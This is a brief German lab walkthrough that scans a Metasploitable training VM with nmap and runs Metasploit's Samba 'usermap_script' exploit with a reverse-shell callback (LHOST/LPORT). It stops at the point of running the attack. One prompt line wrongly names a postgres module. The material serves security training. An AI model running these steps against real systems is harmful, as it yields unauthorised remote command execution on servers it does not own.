Metasploit smb exploit

Gefundene Version

• db_nmap -sV 10.0.10.105

[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Die Information ist zu ungenau, wir bohren weiter

• nmap -p139,445 --script smb-os-discovery 10.0.10.105

[*] exec: nmap -p139,445 --script smb-os-discovery 10.0.10.105

Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 15:07 +0200
Nmap scan report for metasploit.secure.local (10.0.10.105)
Host is up (0.00029s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:A8:D5:D4 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-06-25T09:07:15-04:00

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

Modul suchen

• msf6 > search Samba 3.0.20

0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

Module laden

• msf6 > use 0

msf6 exploit(multi/samba/usermap_script) >

• msf6 exploit(/linux/postgres/postgres_payload) > info

Wir setzen LHOST, LPORT, RHOST und LHOST

• msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101
• msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
• msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.10.105
• msf6 exploit(multi/samba/usermap_script) > set RPORT 139

Und Attacke

• msf6 exploit(multi/samba/usermap_script) > run

Es dauert ein bisschen